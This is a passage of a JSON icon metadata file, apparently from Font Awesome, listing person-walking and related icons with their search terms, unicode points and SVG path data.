35.4-57.2l45.2-22.6-7.5-1.5c-19.4-3.9-35.9-16.5-44.7-34.1l-25-50c-7.9-15.8-1.5-35 14.3-42.9zM139 350.1l159 60.9c-2.1-5.6-2.6-11.9-1.1-18.2l17.4-75.2c1.4-5.9-.7-12-5.3-15.9l-52.8-44 0 18.8c0 20.7-13.2 39-32.8 45.5L139 350.1zM432 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M209.7 3.4c15.8-7.9 35-1.5 42.9 14.3l25 50 42.4 8.5c19.5 3.9 37.8 12.3 53.5 24.5l126.1 98.1c14 10.9 16.5 31 5.6 44.9s-31 16.5-44.9 5.6l-72.1-56.1-71.5 31.8 33.1 27.6c23.2 19.3 33.5 50 26.7 79.4l-17.4 75.2c-2.2 9.4-8.2 16.8-16.1 21l86.5 33.1c4.6 1.8 9.4 2.6 14.3 2.6H472c13.3 0 24 10.7 24 24s-10.7 24-24 24H443.8c-10.8 0-21.4-2-31.5-5.8L60.1 371.3c-11.5-4.4-22-11.2-30.8-20L7 329c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.4 22.4c4 4 8.7 7.1 14 9.1l22.4 8.6c-.8-1.6-1.5-3.2-2.1-4.9c-5.6-16.8 3.5-34.9 20.2-40.5L192 264.9l0-53.2c0-24.2 13.7-46.4 35.4-57.2l45.2-22.6-7.5-1.5c-19.4-3.9-35.9-16.5-44.7-34.1l-25-50c-7.9-15.8-1.5-35 14.3-42.9zM139 350.1l159 60.9c-2.1-5.6-2.6-11.9-1.1-18.2l17.4-75.2c1.4-5.9-.7-12-5.3-15.9l-52.8-44 0 18.8c0 20.7-13.2 39-32.8 45.5L139 350.1zM432 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "person-swimming": {
    "aliases": {
      "names": ["swimmer"],
      "unicodes": {
        "composite": ["1f3ca"],
        "secondary": ["10f5c4"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ocean", "person swimming", "pool", "sea", "swim", "water"]
    },
    "styles": ["solid"],
    "unicode": "f5c4",
    "label": "Person Swimming",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M309.5 178.4L447.9 297.1c-1.6 .9-3.2 2-4.8 3c-18 12.4-40.1 20.3-59.2 20.3c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-10.1 0-21.1-2.2-31.9-6.2C163.1 193.2 262.2 96 384 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-26.9 0-52.3 6.6-74.5 18.4zM160 160A64 64 0 1 1 32 160a64 64 0 1 1 128 0zM306.5 325.9C329 341.4 356.5 352 384 352c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 405.7 417 416 384 416c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 341.2 165.1 352 192 352c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M309.5 178.4L447.9 297.1c-1.6 .9-3.2 2-4.8 3c-18 12.4-40.1 20.3-59.2 20.3c-19.6 0-40.8-7.7-59.2-20.3c-22.1-15.5-51.6-15.5-73.7 0c-17.1 11.8-38 20.3-59.2 20.3c-10.1 0-21.1-2.2-31.9-6.2C163.1 193.2 262.2 96 384 96h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384c-26.9 0-52.3 6.6-74.5 18.4zM160 160A64 64 0 1 1 32 160a64 64 0 1 1 128 0zM306.5 325.9C329 341.4 356.5 352 384 352c26.9 0 55.4-10.8 77.4-26.1l0 0c11.9-8.5 28.1-7.8 39.2 1.7c14.4 11.9 32.5 21 50.6 25.2c17.2 4 27.9 21.2 23.9 38.4s-21.2 27.9-38.4 23.9c-24.5-5.7-44.9-16.5-58.2-25C449.5 405.7 417 416 384 416c-31.9 0-60.6-9.9-80.4-18.9c-5.8-2.7-11.1-5.3-15.6-7.7c-4.5 2.4-9.7 5.1-15.6 7.7c-19.8 9-48.5 18.9-80.4 18.9c-33 0-65.5-10.3-94.5-25.8c-13.4 8.4-33.7 19.3-58.2 25c-17.2 4-34.4-6.7-38.4-23.9s6.7-34.4 23.9-38.4c18.1-4.2 36.2-13.3 50.6-25.2c11.1-9.4 27.3-10.1 39.2-1.7l0 0C136.7 341.2 165.1 352 192 352c27.5 0 55-10.6 77.5-26.1c11.1-7.9 25.9-7.9 37 0z"
      }
    },
    "free": ["solid"]
  },
  "person-through-window": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "door",
        "exit",
        "forced entry",
        "leave",
        "robbery",
        "steal",
        "window"
      ]
    },
    "styles": ["solid"],
    "unicode": "e5a9",
    "label": "Person Through Window",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 64l224 0 0 9.8c0 39-23.7 74-59.9 88.4C167.6 186.5 128 245 128 310.2l0 73.8s0 0 0 0H64V64zm288 0l224 0V384H508.3l-3.7-4.5-75.2-90.2c-9.1-10.9-22.6-17.3-36.9-17.3l-71.1 0-41-63.1c-.3-.5-.6-1-1-1.4c44.7-29 72.5-79 72.5-133.6l0-9.8zm73 320H379.2l42.7 64H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48V400c0 26.5 21.5 48 48 48H308.2l33.2 49.8c9.8 14.7 29.7 18.7 44.4 8.9s18.7-29.7 8.9-44.4L310.5 336l74.6 0 40 48zm-159.5 0H192s0 0 0 0l0-73.8c0-10.2 1.6-20.1 4.7-29.5L265.5 384zM192 128a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 64l224 0 0 9.8c0 39-23.7 74-59.9 88.4C167.6 186.5 128 245 128 310.2l0 73.8s0 0 0 0H64V64zm288 0l224 0V384H508.3l-3.7-4.5-75.2-90.2c-9.1-10.9-22.6-17.3-36.9-17.3l-71.1 0-41-63.1c-.3-.5-.6-1-1-1.4c44.7-29 72.5-79 72.5-133.6l0-9.8zm73 320H379.2l42.7 64H592c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48V400c0 26.5 21.5 48 48 48H308.2l33.2 49.8c9.8 14.7 29.7 18.7 44.4 8.9s18.7-29.7 8.9-44.4L310.5 336l74.6 0 40 48zm-159.5 0H192s0 0 0 0l0-73.8c0-10.2 1.6-20.1 4.7-29.5L265.5 384zM192 128a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "person-walking": {
    "aliases": {
      "names": ["walking"],
      "unicodes": {
        "composite": ["1f6b6"],
        "secondary": ["10f554"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "crosswalk",
        "exercise",
        "hike",
        "move",
        "person walking",
        "walk",
        "walking"
      ]
    },
    "styles": ["solid"],
    "unicode": "f554",
    "label": "Person Walking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M160 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM126.5 199.3c-1 .4-1.9 .8-2.9 1.2l-8 3.5c-16.4 7.3-29 21.2-34.7 38.2l-2.6 7.8c-5.6 16.8-23.7 25.8-40.5 20.2s-25.8-23.7-20.2-40.5l2.6-7.8c11.4-34.1 36.6-61.9 69.4-76.5l8-3.5c20.8-9.2 43.3-14 66.1-14c44.6 0 84.8 26.8 101.9 67.9L281 232.7l21.4 10.7c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L247 287.3c-10.3-5.2-18.4-13.8-22.8-24.5l-9.6-23-19.3 65.5 49.5 54c5.4 5.9 9.2 13 11.2 20.8l23 92.1c4.3 17.1-6.1 34.5-23.3 38.8s-34.5-6.1-38.8-23.3l-22-88.1-70.7-77.1c-14.8-16.1-20.3-38.6-14.7-59.7l16.9-63.5zM68.7 398l25-62.4c2.1 3 4.5 5.8 7 8.6l40.7 44.4-14.5 36.2c-2.4 6-6 11.5-10.6 16.1L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L68.7 398z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M160 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM126.5 199.3c-1 .4-1.9 .8-2.9 1.2l-8 3.5c-16.4 7.3-29 21.2-34.7 38.2l-2.6 7.8c-5.6 16.8-23.7 25.8-40.5 20.2s-25.8-23.7-20.2-40.5l2.6-7.8c11.4-34.1 36.6-61.9 69.4-76.5l8-3.5c20.8-9.2 43.3-14 66.1-14c44.6 0 84.8 26.8 101.9 67.9L281 232.7l21.4 10.7c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L247 287.3c-10.3-5.2-18.4-13.8-22.8-24.5l-9.6-23-19.3 65.5 49.5 54c5.4 5.9 9.2 13 11.2 20.8l23 92.1c4.3 17.1-6.1 34.5-23.3 38.8s-34.5-6.1-38.8-23.3l-22-88.1-70.7-77.1c-14.8-16.1-20.3-38.6-14.7-59.7l16.9-63.5zM68.7 398l25-62.4c2.1 3 4.5 5.8 7 8.6l40.7 44.4-14.5 36.2c-2.4 6-6 11.5-10.6 16.1L54.6 502.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L68.7 398z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-arrow-loop-left": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["population return", "return"]
    },
    "styles": ["solid"],
    "unicode": "e551",
    "label": "Person Walking Arrow Loop Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zm347.7 119c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L461.3 384H480c88.4 0 160-71.6 160-160s-71.6-160-160-160L352 64c-17.7 0-32 14.3-32 32s14.3 32 32 32l128 0c53 0 96 43 96 96s-43 96-96 96H461.3l25.4-25.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3l80 80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zm347.7 119c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L461.3 384H480c88.4 0 160-71.6 160-160s-71.6-160-160-160L352 64c-17.7 0-32 14.3-32 32s14.3 32 32 32l128 0c53 0 96 43 96 96s-43 96-96 96H461.3l25.4-25.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3l80 80z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "internally displaced", "leave", "refugee"]
    },
    "styles": ["solid"],
    "unicode": "e552",
    "label": "Person Walking Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-dashed-line-arrow-right": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "refugee"]
    },
    "styles": ["solid"],
    "unicode": "e553",
    "label": "Person Walking Dashed Line Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80zM392 0c-13.3 0-24 10.7-24 24V72c0 13.3 10.7 24 24 24s24-10.7 24-24V24c0-13.3-10.7-24-24-24zm24 152c0-13.3-10.7-24-24-24s-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM392 320c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V344c0-13.3-10.7-24-24-24zm24 120c0-13.3-10.7-24-24-24s-24 10.7-24 24v48c0 13.3 10.7 24 24 24s24-10.7 24-24V440z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM123.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L281 232.7l-15.3-36.8C248.5 154.8 208.3 128 163.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1L68.7 398 9.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L116.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM550.6 153.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L530.7 224H384c-17.7 0-32 14.3-32 32s14.3 32 32 32H530.7l-25.4 25.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l80-80c12.5-12.5 12.5-32.8 0-45.3l-80-80zM392 0c-13.3 0-24 10.7-24 24V72c0 13.3 10.7 24 24 24s24-10.7 24-24V24c0-13.3-10.7-24-24-24zm24 152c0-13.3-10.7-24-24-24s-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM392 320c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24s24-10.7 24-24V344c0-13.3-10.7-24-24-24zm24 120c0-13.3-10.7-24-24-24s-24 10.7-24 24v48c0 13.3 10.7 24 24 24s24-10.7 24-24V440z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-luggage": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bag",
        "baggage",
        "briefcase",
        "carry-on",
        "deployment",
        "rolling"
      ]
    },
    "styles": ["solid"],
    "unicode": "e554",
    "label": "Person Walking Luggage",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M432 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM347.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L505 232.7l-15.3-36.8C472.5 154.8 432.3 128 387.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L340.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM256 274.1c-7.7-4.4-17.4-1.8-21.9 5.9l-32 55.4L147.7 304c-15.3-8.8-34.9-3.6-43.7 11.7L40 426.6c-8.8 15.3-3.6 34.9 11.7 43.7l55.4 32c15.3 8.8 34.9 3.6 43.7-11.7l64-110.9c1.5-2.6 2.6-5.2 3.3-8L261.9 296c4.4-7.7 1.8-17.4-5.9-21.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M432 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM347.7 200.5c1-.4 1.9-.8 2.9-1.2l-16.9 63.5c-5.6 21.1-.1 43.6 14.7 59.7l70.7 77.1 22 88.1c4.3 17.1 21.7 27.6 38.8 23.3s27.6-21.7 23.3-38.8l-23-92.1c-1.9-7.8-5.8-14.9-11.2-20.8l-49.5-54 19.3-65.5 9.6 23c4.4 10.6 12.5 19.3 22.8 24.5l26.7 13.3c15.8 7.9 35 1.5 42.9-14.3s1.5-35-14.3-42.9L505 232.7l-15.3-36.8C472.5 154.8 432.3 128 387.7 128c-22.8 0-45.3 4.8-66.1 14l-8 3.5c-32.9 14.6-58.1 42.4-69.4 76.5l-2.6 7.8c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l2.6-7.8c5.7-17.1 18.3-30.9 34.7-38.2l8-3.5zm-30 135.1l-25 62.4-59.4 59.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L340.3 441c4.6-4.6 8.2-10.1 10.6-16.1l14.5-36.2-40.7-44.4c-2.5-2.7-4.8-5.6-7-8.6zM256 274.1c-7.7-4.4-17.4-1.8-21.9 5.9l-32 55.4L147.7 304c-15.3-8.8-34.9-3.6-43.7 11.7L40 426.6c-8.8 15.3-3.6 34.9 11.7 43.7l55.4 32c15.3 8.8 34.9 3.6 43.7-11.7l64-110.9c1.5-2.6 2.6-5.2 3.3-8L261.9 296c4.4-7.7 1.8-17.4-5.9-21.9z"
      }
    },
    "free": ["solid"]
  },
  "person-walking-with-cane": {
    "aliases": {
      "names": ["blind"],
      "unicodes": {
        "secondary": ["10f29d"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blind", "cane"]
    },
    "styles": ["solid"],
    "unicode": "f29d",
    "label": "Person Walking With Cane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8.4 32c-36.4 0-69.6 20.5-85.9 53.1L35.4 273.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L128 231.6v43.2c0 17 6.7 33.3 18.7 45.3L224 397.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V390.6c0-12.7-5.1-24.9-14.1-33.9L224 306.7V213.3l70.4 93.9c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8L268.8 166.4C250.7 142.2 222.2 128 192 128H167.6zM128.3 346.8L97 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l22-88.2-52.8-52.8zM450.8 505.1c5 7.3 15 9.1 22.3 4s9.1-15 4-22.3L358.9 316.1c-2.8 3.8-6.1 7.3-10.1 10.3c-5 3.8-10.5 6.4-16.2 7.9L450.8 505.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-8.4 32c-36.4 0-69.6 20.5-85.9 53.1L35.4 273.7c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3L128 231.6v43.2c0 17 6.7 33.3 18.7 45.3L224 397.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V390.6c0-12.7-5.1-24.9-14.1-33.9L224 306.7V213.3l70.4 93.9c10.6 14.1 30.7 17 44.8 6.4s17-30.7 6.4-44.8L268.8 166.4C250.7 142.2 222.2 128 192 128H167.6zM128.3 346.8L97 472.2c-4.3 17.1 6.1 34.5 23.3 38.8s34.5-6.1 38.8-23.3l22-88.2-52.8-52.8zM450.8 505.1c5 7.3 15 9.1 22.3 4s9.1-15 4-22.3L358.9 316.1c-2.8 3.8-6.1 7.3-10.1 10.3c-5 3.8-10.5 6.4-16.2 7.9L450.8 505.1z"
      }
    },
    "free": ["solid"]
  },
  "peseta-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Peseta Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e221",
    "label": "Peseta Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
